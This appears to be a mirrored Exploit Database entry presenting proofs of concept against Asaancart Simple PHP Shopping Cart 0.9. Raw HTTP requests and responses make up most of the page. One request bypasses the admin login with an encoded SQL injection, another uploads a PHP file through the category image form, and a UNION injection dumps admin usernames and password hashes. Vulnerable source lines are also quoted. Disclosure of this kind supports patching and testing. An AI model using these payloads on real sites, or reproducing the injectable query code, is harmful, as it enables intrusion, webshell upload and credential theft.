Asaancart Simple PHP Shopping Cart 0.9 – Arbitrary File Upload / SQL Injection

• Exploit Database
• 132 阅读

• 作者： Ihsan Sencan
  日期： 2018-10-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45756/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140

  # Exploit Title: Simple PHP Shopping Cart 0.9 - Arbitrary File Upload # Dork: N/A # Date: 2018-10-30 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://asaancart.wordpress.com/ # Software Link: https://vorboss.dl.sourceforge.net/project/asaancart/asaancart%20v-0.9/asaancart%20v-0.9.zip # Version: 0.9 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A   # POC: # 1) POST /[PATH]/admin/login.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 69 username=%27%6f%72%20%31%3d%31%20%6f%72%20%27%27%3d%27&password=%27%6f%72%20%31%3d%31%20%6f%72%20%27%27%3d%27&btnSubmit=btnSubmit HTTP/1.1 302 Found Date: Tue, 30 Oct 2018 15:46:43 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Set-Cookie: PHPSESSID=f2a7ov3iih8u10qf9327ana635; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: index.php Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8   POST /[PATH]/admin/add_cat.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=f2a7ov3iih8u10qf9327ana635 Connection: keep-alive Content-Type: multipart/form-data; boundary= ---------------------------17014069073451786011304294694 Content-Length: 514 -----------------------------17014069073451786011304294694 Content-Disposition: form-data; name="category_name" xxx -----------------------------17014069073451786011304294694 Content-Disposition: form-data; name="category_full_image"; filename="phpinfo.php" Content-Type: application/force-download <?php phpinfo(); ?> -----------------------------17014069073451786011304294694 Content-Disposition: form-data; name="btn_submit" Create -----------------------------17014069073451786011304294694-- HTTP/1.1 200 OK Date: Tue, 30 Oct 2018 15:46:52 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8   #/[PATH]/category_images/xxx_phpinfo.php   <form action="http://localhost/[PATH]/admin/add_cat.php" enctype="multipart/form-data" method="post"> <input name="category_name" value="xxx" type="text" hidden="true"> <input name="category_full_image" type="file"> <input name="btn_submit" value="Create" type="submit"> </form>     # Exploit Title: Simple PHP Shopping Cart 0.9 - SQL Injection # Dork: N/A # Date: 2018-10-30 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://asaancart.wordpress.com/ # Software Link: https://vorboss.dl.sourceforge.net/project/asaancart/asaancart%20v-0.9/asaancart%20v-0.9.zip # Version: 0.9 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A   # POC: # 1) # http://localhost/[PATH]/shop/page.php?page_id=[SQL] # #[PATH]/page.php #.... #34 $page_heading = $_GET[&apos;page_name&apos;]; #35 $page_id = $_GET[&apos;page_id&apos;]; #.... GET /[PATH]/shop/page.php?page_id=-1+unIoN++SELect+0x31%2c0x32%2c0x33%2c0x34%2c(SEleCT+GroUP_COncAT(username,0x3a,password+sePaRATOR+0x3c62723e)+FrOM+auth_user_admin)%2d%2d%20%2d HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Tue, 30 Oct 2018 14:01:30 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Set-Cookie: PHPSESSID=u4nfc9bijgcbd8na09o8jp4gb0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 6538 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8   # POC: # 2) # http://localhost/[PATH]/admin/login.php # #.... #32 if ($_POST[&apos;btnSubmit&apos;]==&apos;btnSubmit&apos;) #33 { #34 $sql = "SELECT * FROM auth_user_admin WHERE username=&apos;".$_POST[&apos;username&apos;]."&apos; AND password=&apos;".md5($_POST[&apos;password&apos;])."&apos;"; #....   # POC: # 3) # http://localhost/[PATH]/shop/product.php?product_id=[SQL] # #.... #35 $product_id = $_GET[&apos;product_id&apos;]; #....